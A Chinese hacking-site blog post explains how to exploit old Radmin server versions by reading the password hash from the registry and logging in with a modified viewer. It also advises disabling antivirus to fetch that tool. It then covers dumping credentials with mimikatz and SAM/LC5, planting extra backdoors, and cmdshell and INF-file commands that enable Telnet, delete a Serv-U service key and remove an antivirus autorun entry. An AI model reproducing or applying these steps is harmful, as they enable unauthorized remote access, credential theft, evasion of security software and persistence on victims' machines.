radmin hash存在提权致命漏洞 - 中国木马资源网

作者:admin2016-1-13 18:30分类: 黑客技术,黑客渗透网站文章 标签: radmin提权漏洞

radmin是平时在windows下用的比较多的一个远程管理工具。其具有支持多个连接和IP 过滤(即允许特定的IP控制远程机器)、个性化的档互传、远程关机、支持高分辨率模式、基于Windows NT的安全支持及密码保护以及提供日志文件支持等特性。不过老版本的radmin server2.X、radmin server3.0都存在一个“致命”漏洞 —— radmin hash提权漏洞。

对于该“致命”漏洞我之所以加了引号。是因为该漏洞的利用是需要有一定的前提条件的。即:要获取读取系统注册表的权限(并不需要有写权限)。当然,获得此权限的方法很多。基本上取得webshell、cmdshell后都能获取该权限。

一、利用方法

如果不怕麻烦的,可以看下红黑联盟上提供的一个利用OllyDBG进行hash欺骗的详细步骤 —— 反汇编破解Radmin密码实例。当然想省事也有省事的方法,网上早有人制作出了radmin_hash版的viewer程序。

从注册表的下列路径取得所要的hash值和端口值:

HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParametersParameter//默认密码注册表位置
HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParametersPort //默认端口注册表位置
parameters下的配置大致如下所示:

[HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters]
"NTAuthEnabled"=hex:00,00,00,00
"Parameter"=hex:b5,bb,fc,50,93,ba,35,b0,7d,a6,57,f7,d6,f1,9a,a0
"Port"=hex:11,27,00,00
"Timeout"=hex:0a,00,00,00
"EnableLogFile"=hex:01,00,00,00
"LogFilePath"="c:logfile.txt"
"FilterIp"=hex:00,00,00,00
"DisableTrayIcon"=hex:00,00,00,00
"AutoAllow"=hex:00,00,00,00
"AskUser"=hex:00,00,00,00
"EnableEventLog"=hex:00,00,00,00

有人会问,我如何知道。他用的端口是多少。很简单,自己电脑上装上一个同版本的radmin,注册表中找到相关的位置。将其中的端口的hex值改成和查到的一样,再查看自己的设置里的端口变成了多少。上例中所取的值11 27 00 00 即是10001端口。而通radmin_hash修改版输入32位hash值所就会连接上主机。大致如下图:

Radmin提权漏洞.png

当然,你如果对网上取到的版本不放心,可以像我一样在沙箱中运行。注意下载该软件时,要关闭杀毒软件,会报是木马的。我这里也分享该软件的下载地址。


连接完了以后,你就可以为所欲为了。可以利用mimikatz解析用户密码,也可以通过getpw获取用户的sam值,再通过LC5解密。获得密码后,可能通过远程桌面进行连结。(呵呵,多留一个后门总归是好的……)


二、利用各种shell获取注册表的方法:

下面以一个cmdshell为例,解读操作注册表键值的方法。

1、读取注册表(利用regedit导出,利用type查询)

C:>regedit /e 1.reg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"
C:>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d
C:>del 1.reg
2、修改/删除注册表项

echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftTelnetServer1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg   
上面是利用echo写入一个reg文件,并通过regedit命令导入。而删除操作与上面类似:

要删除一个项,在名字前面加减号,比如:
[-HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesServ-U]
要删除一个值,在等号后面用减号,比如:
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"KAVRun"=-
3、inf文件操作
如果regedit命令不允许我们直接操作,我们还可以绕道通过inf文件导入注册表。先建立一个reg.inf文件,内容如下:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWAREMicrosoftTelnetServer1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWAREMicrosoftTelnetServer1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEMCurrentControlSetServicesServ-U
HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun
然后运行如下命令(假设刚才的inf文件的路径是c:pathreg.inf),即可完成和上面reg文件一样的功能:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:pathreg.inf
至于inf文件的内容每项的意思,可以参看DDK帮助手册。

总结:
这也是一个比较老的漏洞了(最早好像是在07年有人发现的)。但很多公司在用的版本中,估计没有升级到radmin3.4的还大有人在,包括我目前的公司在内。呵呵!不要打我公司的注意啊,因为在你看到这篇日志的时候,版本已经升上去了。
来源:asp大马官网 转载注明出处!

温馨提示如有转载或引用以上内容之必要,敬请将本文链接作为出处标注,谢谢合作!

已有 0/1079 人参与

发表评论:




欢迎使用手机扫描访问本站,还可以关注微信哦~